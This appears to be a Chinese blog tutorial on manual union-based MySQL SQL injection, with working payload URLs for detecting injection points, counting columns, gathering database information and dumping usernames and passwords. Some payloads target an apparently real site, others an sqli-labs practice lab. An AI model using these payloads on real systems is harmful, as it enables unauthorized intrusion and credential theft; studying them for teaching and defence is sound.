Mysql手工注入流程(有回显)

mysql注入流程:

  1. 判断注入点;
  2. 判断注入类型;
  3. 猜测列名数量(字段数)当前表有多少列;
  4. 报错猜解准备;
  5. 信息收集;
  6. 查询指定数据库名下的表名信息;
  7. 查询指定表名下的列名信息;
  8. 查询指定数据

判断注入点

老办法:http://www.gardencn.com/page.php?id=2 and 1=1   正常                            http://www.gardencn.com/page.php?id=2 and 1=2   错误

新办法: http://www.gardencn.com/page.php?id=dfskahgljksh(id后的值随便写) 页面有变                 化,初步判断存在注入点

判断注入类型

数字型

        http://www.gardencn.com/page.php?id=2'   加单引号

对应的sql:select * from table where id=2'  ,sql语句出错抛出异常

        http://www.gardencn.com/page.php?id=2 and 1=1

对应的sql:select * from table where id=2  and 1=1 ,sql语句正常执行,页面显示正常

        http://www.gardencn.com/page.php?id=2 and 1=2

对应的sql:select * from table where id=2  and 1=2,sql语句正常执行,但无法查询出结果,页面显示异常

判断为数字型注入

字符型

        单引号

                 http://www.gardencn.com/page.php?id=2'   加单引号

                对应的sql:select * from table where id='2''  ,sql语句出错,页面报错

                http://www.gardencn.com/page.php?id=2' and '1'='1

                对应的sql:select * from table where id='2' and '1'='1' ,sql语句正常执行,页面显示正常

                http://www.gardencn.com/page.php?id=2' and '1'='2

                对应的sql:select * from table where id='2' and '1'='2',sql语句正常执行,但无法查询出结果,页面显示异常

判断为单引号字符型注入

        双引号

               http://www.gardencn.com/page.php?id=2'   加单引号

                对应的sql:select * from table where id="2'"  ,sql语句出错,页面报错

                http://www.gardencn.com/page.php?id=2" and "1"="1

                对应的sql:select * from table where id="2" and "1"="1" ,sql语句正常执行,页面显示正常

                http://www.gardencn.com/page.php?id=2" and "1"="2

                对应的sql:select * from table where id="2" and "1"="2",sql语句正常执行,但无法查询出结果,页面显示异常

判断为双引号字符型漏洞

判断当前表中字段数(order by)

order by是mysql中对查询数据进行排序的方法, 使用示例

   select * from 表名 order by 列名(或者数字) asc;升序(默认升序)

   select * from 表名 order by 列名(或者数字) desc;降序

这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

   select * from user order by id;

   select * from user order by 1;

判断数据显示位置(利用union select)

 http://www.gardencn.com/page.php?id=2' union select 1,2,3--+

select后面数字根据order by得到的字段数确定

 注意:我们构建union select语句时,当前面的查询语句为假,也就是数据不存在时,union select之后查询出的结果就会显示在页面中。这里我们可以通过在前面查询语句中添加 and 1=2 使语句变假,也可以直接将id传入一个负数,来使语句变假。

信息收集

数据库名:database();

数据库用户:user();

操作系统版本:@@version_compile_os

数据库版本:version();

数据库路径:@@datadir;

找到数据显示位置,将sql语句写入显示位

加入显示位为2,3

URL书写方式

http://www.gardencn.com/page.php?id=-2 union select 1,database(),version();

通过指定数据库名得到库中表名

http://www.gardencn.com/page.php?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

通过指定表名得到表中列名

http://sqli.com/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

得到数据

http://sqli.com/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+​​​​​​​

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值